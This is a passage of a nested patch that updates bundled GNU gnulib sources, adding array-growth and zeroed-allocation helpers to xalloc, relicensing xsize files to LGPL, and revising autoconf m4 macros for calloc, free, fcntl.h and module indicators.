++/* Grow PA, which points to an array of *PN items, and return the
++ location of the reallocated array, updating *PN to reflect its
++ new size. The new array will contain at least N_INCR_MIN more
++ items, but will not contain more than N_MAX items total.
++ S is the size of each item, in bytes.
++
++ S and N_INCR_MIN must be positive. *PN must be
++ nonnegative. If N_MAX is -1, it is treated as if it were
++ infinity.
++
++ If PA is null, then allocate a new array instead of reallocating
++ the old one.
++
++ Thus, to grow an array A without saving its old contents, do
++ { free (A); A = xpalloc (NULL, &AITEMS, ...); }. */
++
++void *
++xpalloc (void *pa, idx_t *pn, idx_t n_incr_min, ptrdiff_t n_max, idx_t s)
++{
++ idx_t n0 = *pn;
++
++ /* The approximate size to use for initial small allocation
++ requests. This is the largest "small" request for the GNU C
++ library malloc. */
++ enum { DEFAULT_MXFAST = 64 * sizeof (size_t) / 4 };
++
++ /* If the array is tiny, grow it to about (but no greater than)
++ DEFAULT_MXFAST bytes. Otherwise, grow it by about 50%.
++ Adjust the growth according to three constraints: N_INCR_MIN,
++ N_MAX, and what the C language can represent safely. */
++
++ idx_t n;
++ if (INT_ADD_WRAPV (n0, n0 >> 1, &n))
++ n = IDX_MAX;
++ if (0 <= n_max && n_max < n)
++ n = n_max;
++
++ /* NBYTES is of a type suitable for holding the count of bytes in an object.
++ This is typically idx_t, but it should be size_t on (theoretical?)
++ platforms where SIZE_MAX < IDX_MAX so xpalloc does not pass
++ values greater than SIZE_MAX to xrealloc. */
++#if IDX_MAX <= SIZE_MAX
++ idx_t nbytes;
++#else
++ size_t nbytes;
++#endif
++ idx_t adjusted_nbytes
++ = (INT_MULTIPLY_WRAPV (n, s, &nbytes)
++ ? MIN (IDX_MAX, SIZE_MAX)
++ : nbytes < DEFAULT_MXFAST ? DEFAULT_MXFAST : 0);
++ if (adjusted_nbytes)
++ {
++ n = adjusted_nbytes / s;
++ nbytes = adjusted_nbytes - adjusted_nbytes % s;
++ }
++
++ if (! pa)
++ *pn = 0;
++ if (n - n0 < n_incr_min
++ && (INT_ADD_WRAPV (n0, n_incr_min, &n)
++ || (0 <= n_max && n_max < n)
++ || INT_MULTIPLY_WRAPV (n, s, &nbytes)))
++ xalloc_die ();
++ pa = xrealloc (pa, nbytes);
++ *pn = n;
++ return pa;
++}
++
++/* Allocate S bytes of zeroed memory dynamically, with error checking.
+ There's no need for xnzalloc (N, S), since it would be equivalent
+ to xcalloc (N, S). */
+
+ void *
+-xzalloc (size_t n)
++xzalloc (size_t s)
++{
++ return xcalloc (s, 1);
++}
++
++void *
++xizalloc (idx_t s)
+ {
+- return xcalloc (n, 1);
++ return xicalloc (s, 1);
+ }
+
+ /* Allocate zeroed memory for N elements of S bytes, with error
+@@ -103,15 +273,13 @@ xzalloc (size_t n)
+ void *
+ xcalloc (size_t n, size_t s)
+ {
+- void *p;
+- /* Test for overflow, since objects with size greater than
+- PTRDIFF_MAX cause pointer subtraction to go awry. Omit size-zero
+- tests if HAVE_GNU_CALLOC, since GNU calloc never returns NULL if
+- successful. */
+- if (xalloc_oversized (n, s)
+- || (! (p = calloc (n, s)) && (HAVE_GNU_CALLOC || n != 0)))
+- xalloc_die ();
+- return p;
++ return nonnull (calloc (n, s));
++}
++
++void *
++xicalloc (idx_t n, idx_t s)
++{
++ return nonnull (icalloc (n, s));
+ }
+
+ /* Clone an object P of size S, with error checking. There's no need
+@@ -124,6 +292,23 @@ xmemdup (void const *p, size_t s)
+ return memcpy (xmalloc (s), p, s);
+ }
+
++void *
++ximemdup (void const *p, idx_t s)
++{
++ return memcpy (ximalloc (s), p, s);
++}
++
++/* Clone an object P of size S, with error checking. Append
++ a terminating NUL byte. */
++
++char *
++ximemdup0 (void const *p, idx_t s)
++{
++ char *result = ximalloc (s + 1);
++ result[s] = 0;
++ return memcpy (result, p, s);
++}
++
+ /* Clone STRING. */
+
+ char *
+--- a/gnulib/lib/xsize.c
++++ b/gnulib/lib/xsize.c
+@@ -1,3 +1,21 @@
++/* Checked size_t computations.
++
++ Copyright (C) 2012-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
+ #include <config.h>
++
+ #define XSIZE_INLINE _GL_EXTERN_INLINE
+ #include "xsize.h"
+--- a/gnulib/lib/xsize.h
++++ b/gnulib/lib/xsize.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2003, 2008-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _XSIZE_H
+ #define _XSIZE_H
+--- /dev/null
++++ b/gnulib/m4/calloc.m4
+@@ -0,0 +1,82 @@
++# calloc.m4 serial 27
++
++# Copyright (C) 2004-2021 Free Software Foundation, Inc.
++# This file is free software; the Free Software Foundation
++# gives unlimited permission to copy and/or distribute it,
++# with or without modifications, as long as this notice is preserved.
++
++# Written by Jim Meyering.
++
++# Determine whether calloc (N, S) returns non-NULL when N*S is zero,
++# and returns NULL when N*S overflows.
++# If so, define HAVE_CALLOC. Otherwise, define calloc to rpl_calloc
++# and arrange to use a calloc wrapper function that does work in that case.
++
++# _AC_FUNC_CALLOC_IF([IF-WORKS], [IF-NOT])
++# -------------------------------------
++# If calloc is compatible with GNU calloc, run IF-WORKS, otherwise, IF-NOT.
++AC_DEFUN([_AC_FUNC_CALLOC_IF],
++[
++ AC_REQUIRE([AC_CANONICAL_HOST]) dnl for cross-compiles
++ AC_CACHE_CHECK([whether calloc (0, n) and calloc (n, 0) return nonnull],
++ [ac_cv_func_calloc_0_nonnull],
++ [if test $cross_compiling != yes; then
++ ac_cv_func_calloc_0_nonnull=yes
++ AC_RUN_IFELSE(
++ [AC_LANG_PROGRAM(
++ [AC_INCLUDES_DEFAULT],
++ [[int result = 0;
++ char * volatile p = calloc (0, 0);
++ if (!p)
++ result |= 1;
++ free (p);
++ return result;
++ ]])],
++ [],
++ [ac_cv_func_calloc_0_nonnull=no])
++ else
++ case "$host_os" in
++ # Guess yes on glibc systems.
++ *-gnu* | gnu*) ac_cv_func_calloc_0_nonnull="guessing yes" ;;
++ # Guess yes on musl systems.
++ *-musl*) ac_cv_func_calloc_0_nonnull="guessing yes" ;;
++ # Guess yes on native Windows.
++ mingw*) ac_cv_func_calloc_0_nonnull="guessing yes" ;;
++ # If we don't know, obey --enable-cross-guesses.
++ *) ac_cv_func_calloc_0_nonnull="$gl_cross_guess_normal" ;;
++ esac
++ fi
++ ])
++ AS_CASE([$ac_cv_func_calloc_0_nonnull], [*yes], [$1], [$2])
++])
++
++
++# gl_FUNC_CALLOC_GNU
++# ------------------
++# Replace calloc if it is not compatible with GNU libc.
++AC_DEFUN([gl_FUNC_CALLOC_GNU],
++[
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_FUNC_CALLOC_POSIX])
++ if test $REPLACE_CALLOC = 0; then
++ _AC_FUNC_CALLOC_IF([], [REPLACE_CALLOC=1])
++ fi
++])# gl_FUNC_CALLOC_GNU
++
++# gl_FUNC_CALLOC_POSIX
++# --------------------
++# Test whether 'calloc' is POSIX compliant (sets errno to ENOMEM when it
++# fails, and doesn't mess up with ptrdiff_t or size_t overflow),
++# and replace calloc if it is not.
++AC_DEFUN([gl_FUNC_CALLOC_POSIX],
++[
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ AC_REQUIRE([gl_FUNC_MALLOC_POSIX])
++ if test $REPLACE_MALLOC = 1; then
++ REPLACE_CALLOC=1
++ fi
++ dnl Although in theory we should also test for size_t overflow,
++ dnl in practice testing for ptrdiff_t overflow suffices
++ dnl since PTRDIFF_MAX <= SIZE_MAX on all known Gnulib porting targets.
++ dnl A separate size_t test would slow down 'configure'.
++])
+--- a/gnulib/m4/fcntl_h.m4
++++ b/gnulib/m4/fcntl_h.m4
+@@ -1,4 +1,4 @@
+-# serial 17
++# serial 20
+ # Configure fcntl.h.
+ dnl Copyright (C) 2006-2007, 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+@@ -7,7 +7,7 @@ dnl with or without modifications, as lo
+
+ dnl Written by Paul Eggert.
+
+-AC_DEFUN([gl_FCNTL_H],
++AC_DEFUN_ONCE([gl_FCNTL_H],
+ [
+ AC_REQUIRE([gl_FCNTL_H_DEFAULTS])
+ AC_REQUIRE([gl_FCNTL_O_FLAGS])
+@@ -26,25 +26,40 @@ AC_DEFUN([gl_FCNTL_H],
+ ]], [fcntl openat])
+ ])
+
++# gl_FCNTL_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_FCNTL_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_FCNTL_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_FCNTL_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_FCNTL_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_FCNTL_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CREAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FCNTL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_NONBLOCKING])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OPEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_OPENAT])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_CREAT], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_OPEN], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_FCNTL_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_FCNTL_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_FCNTL_H_DEFAULTS],
+ [
+- GNULIB_CREAT=0; AC_SUBST([GNULIB_CREAT])
+- GNULIB_FCNTL=0; AC_SUBST([GNULIB_FCNTL])
+- GNULIB_NONBLOCKING=0; AC_SUBST([GNULIB_NONBLOCKING])
+- GNULIB_OPEN=0; AC_SUBST([GNULIB_OPEN])
+- GNULIB_OPENAT=0; AC_SUBST([GNULIB_OPENAT])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_CREAT=1; AC_SUBST([GNULIB_MDA_CREAT])
+- GNULIB_MDA_OPEN=1; AC_SUBST([GNULIB_MDA_OPEN])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_FCNTL=1; AC_SUBST([HAVE_FCNTL])
+ HAVE_OPENAT=1; AC_SUBST([HAVE_OPENAT])
+--- /dev/null
++++ b/gnulib/m4/free.m4
+@@ -0,0 +1,52 @@
++# free.m4 serial 6
++# Copyright (C) 2003-2005, 2009-2021 Free Software Foundation, Inc.
++# This file is free software; the Free Software Foundation
++# gives unlimited permission to copy and/or distribute it,
++# with or without modifications, as long as this notice is preserved.
++
++# Written by Paul Eggert and Bruno Haible.
++
++AC_DEFUN([gl_FUNC_FREE],
++[
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++
++ dnl In the next release of POSIX, free must preserve errno.
++ dnl https://www.austingroupbugs.net/view.php?id=385
++ dnl https://sourceware.org/bugzilla/show_bug.cgi?id=17924
++ dnl So far, we know of three platforms that do this:
++ dnl * glibc >= 2.33, thanks to the fix for this bug:
++ dnl <https://sourceware.org/bugzilla/show_bug.cgi?id=17924>
++ dnl * OpenBSD >= 4.5, thanks to this commit:
++ dnl <https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/lib/libc/stdlib/malloc.c.diff?r1=1.100&r2=1.101&f=h>
++ dnl * Solaris, because its malloc() implementation is based on brk(),
++ dnl not mmap(); hence its free() implementation makes no system calls.
++ dnl For other platforms, you can only be sure if they state it in their
++ dnl documentation, or by code inspection of the free() implementation in libc.
++ AC_CACHE_CHECK([whether free is known to preserve errno],
++ [gl_cv_func_free_preserves_errno],
++ [AC_COMPILE_IFELSE(
++ [AC_LANG_PROGRAM(
++ [[#include <stdlib.h>
++ ]],
++ [[#if 2 < __GLIBC__ + (33 <= __GLIBC_MINOR__)
++ #elif defined __OpenBSD__
++ #elif defined __sun
++ #else
++ #error "'free' is not known to preserve errno"
++ #endif
++ ]])],
++ [gl_cv_func_free_preserves_errno=yes],
++ [gl_cv_func_free_preserves_errno=no])
++ ])
++
++ case $gl_cv_func_free_preserves_errno in
++ *yes)
++ AC_DEFINE([HAVE_FREE_POSIX], [1],
++ [Define if the 'free' function is guaranteed to preserve errno.])
++ ;;
++ *) REPLACE_FREE=1 ;;
++ esac
++])
++
++# Prerequisites of lib/free.c.
++AC_DEFUN([gl_PREREQ_FREE], [:])
+--- a/gnulib/m4/fstat.m4
++++ b/gnulib/m4/fstat.m4
+@@ -1,4 +1,4 @@
+-# fstat.m4 serial 7
++# fstat.m4 serial 8
+ dnl Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -34,7 +34,7 @@ AC_DEFUN([gl_FUNC_FSTAT],
+
+ # Prerequisites of lib/fstat.c and lib/stat-w32.c.
+ AC_DEFUN([gl_PREREQ_FSTAT], [
+- AC_REQUIRE([gl_HEADER_SYS_STAT_H])
++ AC_REQUIRE([gl_SYS_STAT_H])
+ AC_REQUIRE([gl_PREREQ_STAT_W32])
+ :
+ ])
+--- a/gnulib/m4/gnulib-common.m4
++++ b/gnulib/m4/gnulib-common.m4
+@@ -1,4 +1,4 @@
+-# gnulib-common.m4 serial 63
++# gnulib-common.m4 serial 66
+ dnl Copyright (C) 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -357,6 +357,16 @@ AC_DEFUN([gl_COMMON_BODY], [
+ export LIBC_FATAL_STDERR_
+ ])
+
++# gl_MODULE_INDICATOR_INIT_VARIABLE([variablename])
++# gl_MODULE_INDICATOR_INIT_VARIABLE([variablename], [initialvalue])
++# initializes the shell variable that indicates the presence of the given module
++# as a C preprocessor expression.
++AC_DEFUN([gl_MODULE_INDICATOR_INIT_VARIABLE],
++[
++ GL_MODULE_INDICATOR_PREFIX[]_[$1]=m4_if([$2], , [0], [$2])
++ AC_SUBST(GL_MODULE_INDICATOR_PREFIX[]_[$1])
++])
++
+ # gl_MODULE_INDICATOR_CONDITION
+ # expands to a C preprocessor expression that evaluates to 1 or 0, depending
+ # whether a gnulib module that has been requested shall be considered present
+@@ -369,9 +379,9 @@ m4_define([gl_MODULE_INDICATOR_CONDITION
+ AC_DEFUN([gl_MODULE_INDICATOR_SET_VARIABLE],
+ [
+ gl_MODULE_INDICATOR_SET_VARIABLE_AUX(
+- [GNULIB_[]m4_translit([[$1]],
+- [abcdefghijklmnopqrstuvwxyz./-],
+- [ABCDEFGHIJKLMNOPQRSTUVWXYZ___])],
++ [GL_MODULE_INDICATOR_PREFIX[]_GNULIB_[]m4_translit([[$1]],
++ [abcdefghijklmnopqrstuvwxyz./-],
++ [ABCDEFGHIJKLMNOPQRSTUVWXYZ___])],
+ [gl_MODULE_INDICATOR_CONDITION])
+ ])
+
+@@ -656,6 +666,72 @@ AC_DEFUN([gl_CACHE_VAL_SILENT],
+ ])
+ ])
+
++# gl_CC_ALLOW_WARNINGS
++# sets and substitutes a variable GL_CFLAG_ALLOW_WARNINGS, to a $(CC) option
++# that reverts a preceding '-Werror' option, if available.
++# This is expected to be '-Wno-error' on gcc, clang (except clang/MSVC), xlclang
++# and empty otherwise.
++AC_DEFUN([gl_CC_ALLOW_WARNINGS],
++[
++ AC_REQUIRE([AC_PROG_CC])
++ AC_CACHE_CHECK([for C compiler option to allow warnings],
++ [gl_cv_cc_wallow],
++ [rm -f conftest*
++ echo 'int dummy;' > conftest.c
++ AC_TRY_COMMAND([${CC-cc} $CFLAGS $CPPFLAGS -c conftest.c 2>conftest1.err]) >/dev/null
++ AC_TRY_COMMAND([${CC-cc} $CFLAGS $CPPFLAGS -Wno-error -c conftest.c 2>conftest2.err]) >/dev/null
++ dnl Test the number of error output lines, because AIX xlc accepts the
++ dnl option '-Wno-error', just to produce a warning
++ dnl "Option -Wno-error was incorrectly specified. The option will be ignored."
++ dnl afterwards.
++ if test $? = 0 && test `wc -l < conftest1.err` = `wc -l < conftest2.err`; then
++ gl_cv_cc_wallow='-Wno-error'
++ else
++ gl_cv_cc_wallow=none
++ fi
++ rm -f conftest*
++ ])
++ case "$gl_cv_cc_wallow" in
++ none) GL_CFLAG_ALLOW_WARNINGS='' ;;
++ *) GL_CFLAG_ALLOW_WARNINGS="$gl_cv_cc_wallow" ;;
++ esac
++ AC_SUBST([GL_CFLAG_ALLOW_WARNINGS])
++])
++
++# gl_CXX_ALLOW_WARNINGS
++# sets and substitutes a variable GL_CXXFLAG_ALLOW_WARNINGS, to a $(CC) option
++# that reverts a preceding '-Werror' option, if available.
++AC_DEFUN([gl_CXX_ALLOW_WARNINGS],
++[
++ dnl Requires AC_PROG_CXX or gl_PROG_ANSI_CXX.
++ if test -n "$CXX" && test "$CXX" != no; then
++ AC_CACHE_CHECK([for C++ compiler option to allow warnings],
++ [gl_cv_cxx_wallow],
++ [rm -f conftest*
++ echo 'int dummy;' > conftest.cc
++ AC_TRY_COMMAND([${CXX-c++} $CXXFLAGS $CPPFLAGS -c conftest.cc 2>conftest1.err]) >/dev/null
++ AC_TRY_COMMAND([${CXX-c++} $CXXFLAGS $CPPFLAGS -Wno-error -c conftest.cc 2>conftest2.err]) >/dev/null
++ dnl Test the number of error output lines, because AIX xlC accepts the
++ dnl option '-Wno-error', just to produce a warning
++ dnl "Option -Wno-error was incorrectly specified. The option will be ignored."
++ dnl afterwards.
++ if test $? = 0 && test `wc -l < conftest1.err` = `wc -l < conftest2.err`; then
++ gl_cv_cxx_wallow='-Wno-error'
++ else
++ gl_cv_cxx_wallow=none
++ fi
++ rm -f conftest*
++ ])
++ case "$gl_cv_cxx_wallow" in
++ none) GL_CXXFLAG_ALLOW_WARNINGS='' ;;
++ *) GL_CXXFLAG_ALLOW_WARNINGS="$gl_cv_cxx_wallow" ;;
++ esac
++ else
++ GL_CXXFLAG_ALLOW_WARNINGS=''
++ fi
++ AC_SUBST([GL_CXXFLAG_ALLOW_WARNINGS])
++])
++
+ dnl Expands to some code for use in .c programs that, on native Windows, defines
+ dnl the Microsoft deprecated alias function names to the underscore-prefixed
+ dnl actual function names. With this macro, these function names are available
+--- a/gnulib/m4/gnulib-comp.m4
++++ b/gnulib/m4/gnulib-comp.m4
+@@ -51,6 +51,8 @@ AC_DEFUN([gl_EARLY],
+ # Code from module btowc:
+ # Code from module builtin-expect:
+ # Code from module c99:
++ # Code from module calloc-gnu:
++ # Code from module calloc-posix:
+ # Code from module cloexec:
+ # Code from module close:
+ # Code from module double-slash-root:
+@@ -66,6 +68,7 @@ AC_DEFUN([gl_EARLY],
+ # Code from module fd-hook:
+ # Code from module filename:
+ # Code from module float:
++ # Code from module free-posix:
+ # Code from module fstat:
+ # Code from module getdtablesize:
+ # Code from module getopt-gnu:
+@@ -74,7 +77,9 @@ AC_DEFUN([gl_EARLY],
+ # Code from module gettext-h:
+ # Code from module hard-locale:
+ # Code from module havelib:
++ # Code from module ialloc:
+ # Code from module iconv:
++ # Code from module idx:
+ # Code from module include_next:
+ # Code from module intprops:
+ # Code from module inttypes-incomplete:
+@@ -84,12 +89,14 @@ AC_DEFUN([gl_EARLY],
+ # Code from module langinfo:
+ # Code from module largefile:
+ AC_REQUIRE([AC_SYS_LARGEFILE])
++ AC_REQUIRE([gl_YEAR2038_EARLY])
+ # Code from module libc-config:
+ # Code from module limits-h:
+ # Code from module localcharset:
+ # Code from module locale:
+ # Code from module localeconv:
+ # Code from module lock:
++ # Code from module malloc-gnu:
+ # Code from module malloc-posix:
+ # Code from module malloca:
+ # Code from module mbchar:
+@@ -107,6 +114,7 @@ AC_DEFUN([gl_EARLY],
+ # Code from module memchr:
+ # Code from module mempcpy:
+ # Code from module memrchr:
++ # Code from module minmax:
+ # Code from module msvc-inval:
+ # Code from module msvc-nothrow:
+ # Code from module multiarch:
+@@ -114,6 +122,9 @@ AC_DEFUN([gl_EARLY],
+ # Code from module nocrash:
+ # Code from module open:
+ # Code from module pathmax:
++ # Code from module realloc-gnu:
++ # Code from module realloc-posix:
++ # Code from module reallocarray:
+ # Code from module regex:
+ # Code from module setlocale-null:
+ # Code from module size_max:
+@@ -189,6 +200,8 @@ AC_DEFUN([gl_INIT],
+ m4_pushdef([AC_LIBSOURCES], m4_defn([gl_LIBSOURCES]))
+ m4_pushdef([gl_LIBSOURCES_LIST], [])
+ m4_pushdef([gl_LIBSOURCES_DIR], [])
++ m4_pushdef([GL_MACRO_PREFIX], [gl])
++ m4_pushdef([GL_MODULE_INDICATOR_PREFIX], [GL])
+ gl_COMMON
+ gl_source_base='gnulib/lib'
+ gl_FUNC_ALLOCA
+@@ -196,6 +209,15 @@ AC_DEFUN([gl_INIT],
+ if test -n "$ARGZ_H"; then
+ AC_LIBOBJ([argz])
+ fi
++ gl_FUNC_CALLOC_GNU
++ if test $REPLACE_CALLOC = 1; then
++ AC_LIBOBJ([calloc])
++ fi
++ gl_FUNC_CALLOC_POSIX
++ if test $REPLACE_CALLOC = 1; then
++ AC_LIBOBJ([calloc])
++ fi
++ gl_STDLIB_MODULE_INDICATOR([calloc-posix])
+ gl_DOUBLE_SLASH_ROOT
+ gl_HEADER_ERRNO_H
+ gl_ERROR
+@@ -208,6 +230,7 @@ AC_DEFUN([gl_INIT],
+ AM_][XGETTEXT_OPTION([--flag=error_at_line:5:c-format])])
+ AC_REQUIRE([gl_EXTERN_INLINE])
+ gl_FCNTL_H
++ gl_FCNTL_H_REQUIRE_DEFAULTS
+ gl_FLOAT_H
+ if test $REPLACE_FLOAT_LDBL = 1; then
+ AC_LIBOBJ([float])
+@@ -223,10 +246,10 @@ AC_DEFUN([gl_INIT],
+ if test $REPLACE_GETOPT = 1; then
+ AC_LIBOBJ([getopt])
+ AC_LIBOBJ([getopt1])
+- dnl Arrange for unistd.h to include getopt.h.
+- GNULIB_GL_UNISTD_H_GETOPT=1
++ dnl Define the substituted variable GNULIB_UNISTD_H_GETOPT to 1.
++ gl_UNISTD_H_REQUIRE_DEFAULTS
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNISTD_H_GETOPT], [1])
+ fi
+- AC_SUBST([GNULIB_GL_UNISTD_H_GETOPT])
+ gl_UNISTD_MODULE_INDICATOR([getopt-posix])
+ gl_FUNC_GETPROGNAME
+ AC_SUBST([LIBINTL])
+@@ -236,6 +259,7 @@ AC_DEFUN([gl_INIT],
+ m4_ifdef([gl_ICONV_MODULE_INDICATOR],
+ [gl_ICONV_MODULE_INDICATOR([iconv])])
+ gl_INTTYPES_INCOMPLETE
++ gl_INTTYPES_H_REQUIRE_DEFAULTS
+ gl_FUNC_ISWBLANK
+ if test $HAVE_ISWCNTRL = 0 || test $REPLACE_ISWCNTRL = 1; then
+ :
+@@ -265,6 +289,15 @@ AC_DEFUN([gl_INIT],
+ gl_WCTYPE_MODULE_INDICATOR([iswxdigit])
+ AC_REQUIRE([gl_LARGEFILE])
+ gl_LIMITS_H
++ gl_FUNC_MALLOC_GNU
++ if test $REPLACE_MALLOC = 1; then
++ AC_LIBOBJ([malloc])
++ fi
++ AC_REQUIRE([gl_FUNC_MALLOC_POSIX])
++ if test $REPLACE_MALLOC = 1; then
++ AC_LIBOBJ([malloc])
++ fi
++ gl_STDLIB_MODULE_INDICATOR([malloc-posix])
+ gl_MALLOCA
+ gl_MBCHAR
+ gl_MBITER
+@@ -305,6 +338,7 @@ AC_DEFUN([gl_INIT],
+ gl_PREREQ_MEMRCHR
+ fi
+ gl_STRING_MODULE_INDICATOR([memrchr])
++ gl_MINMAX
+ gl_MULTIARCH
+ gl_FUNC_OPEN
+ if test $REPLACE_OPEN = 1; then
+@@ -312,6 +346,22 @@ AC_DEFUN([gl_INIT],
+ gl_PREREQ_OPEN
+ fi
+ gl_FCNTL_MODULE_INDICATOR([open])
++ gl_FUNC_REALLOC_GNU
++ if test $REPLACE_REALLOC = 1; then
++ AC_LIBOBJ([realloc])
++ fi
++ gl_FUNC_REALLOC_POSIX
++ if test $REPLACE_REALLOC = 1; then
++ AC_LIBOBJ([realloc])
++ fi
++ gl_STDLIB_MODULE_INDICATOR([realloc-posix])
++ gl_FUNC_REALLOCARRAY
++ if test $HAVE_REALLOCARRAY = 0 || test $REPLACE_REALLOCARRAY = 1; then
++ AC_LIBOBJ([reallocarray])
++ gl_PREREQ_REALLOCARRAY
++ fi
++ gl_MODULE_INDICATOR([reallocarray])
++ gl_STDLIB_MODULE_INDICATOR([reallocarray])
+ gl_REGEX
+ if test $ac_use_included_regex = yes; then
+ AC_LIBOBJ([regex])
+@@ -321,9 +371,35 @@ AC_DEFUN([gl_INIT],
+ gl_STDARG_H
+ AM_STDBOOL_H
+ gl_STDDEF_H
++ gl_STDDEF_H_REQUIRE_DEFAULTS
+ gl_STDINT_H
+ gl_STDIO_H
++ gl_STDIO_H_REQUIRE_DEFAULTS
++ dnl No need to create extra modules for these functions. Everyone who uses
++ dnl <stdio.h> likely needs them.
++ gl_STDIO_MODULE_INDICATOR([fscanf])
++ gl_MODULE_INDICATOR([fscanf])
++ gl_STDIO_MODULE_INDICATOR([scanf])
++ gl_MODULE_INDICATOR([scanf])
++ gl_STDIO_MODULE_INDICATOR([fgetc])
++ gl_STDIO_MODULE_INDICATOR([getc])
++ gl_STDIO_MODULE_INDICATOR([getchar])
++ gl_STDIO_MODULE_INDICATOR([fgets])
++ gl_STDIO_MODULE_INDICATOR([fread])
++ dnl No need to create extra modules for these functions. Everyone who uses
++ dnl <stdio.h> likely needs them.
++ gl_STDIO_MODULE_INDICATOR([fprintf])
++ gl_STDIO_MODULE_INDICATOR([printf])
++ gl_STDIO_MODULE_INDICATOR([vfprintf])
++ gl_STDIO_MODULE_INDICATOR([vprintf])
++ gl_STDIO_MODULE_INDICATOR([fputc])
++ gl_STDIO_MODULE_INDICATOR([putc])
++ gl_STDIO_MODULE_INDICATOR([putchar])
++ gl_STDIO_MODULE_INDICATOR([fputs])
++ gl_STDIO_MODULE_INDICATOR([puts])
++ gl_STDIO_MODULE_INDICATOR([fwrite])
+ gl_STDLIB_H
++ gl_STDLIB_H_REQUIRE_DEFAULTS
+ gl_STRCASE
+ if test $HAVE_STRCASECMP = 0; then
+ AC_LIBOBJ([strcasecmp])
+@@ -356,8 +432,10 @@ AC_DEFUN([gl_INIT],
+ fi
+ gl_MODULE_INDICATOR([strerror])
+ gl_STRING_MODULE_INDICATOR([strerror])
+- gl_HEADER_STRING_H
+- gl_HEADER_STRINGS_H
++ gl_STRING_H
++ gl_STRING_H_REQUIRE_DEFAULTS
++ gl_STRINGS_H
++ gl_STRINGS_H_REQUIRE_DEFAULTS
+ gl_FUNC_STRNLEN
+ if test $HAVE_DECL_STRNLEN = 0 || test $REPLACE_STRNLEN = 1; then
+ AC_LIBOBJ([strnlen])
+@@ -365,10 +443,27 @@ AC_DEFUN([gl_INIT],
+ fi
+ gl_STRING_MODULE_INDICATOR([strnlen])
+ gl_SYS_TYPES_H
++ gl_SYS_TYPES_H_REQUIRE_DEFAULTS
+ AC_PROG_MKDIR_P
+ gl_UNISTD_H
+- gl_LIBUNISTRING_LIBHEADER([0.9.4], [unitypes.h])
+- gl_LIBUNISTRING_LIBHEADER([0.9.4], [uniwidth.h])
++ gl_UNISTD_H_REQUIRE_DEFAULTS
++ gl_LIBUNISTRING_LIBHEADER([0.9.11], [unitypes.h])
++ AH_VERBATIM([unitypes_restrict], [
++ /* This definition is a duplicate of the one in unitypes.h.
++ It is here so that we can cope with an older version of unitypes.h
++ that does not contain this definition and that is pre-installed among
++ the public header files. */
++ # if defined __restrict \
++ || 2 < __GNUC__ + (95 <= __GNUC_MINOR__) \
++ || __clang_major__ >= 3
++ # define _UC_RESTRICT __restrict
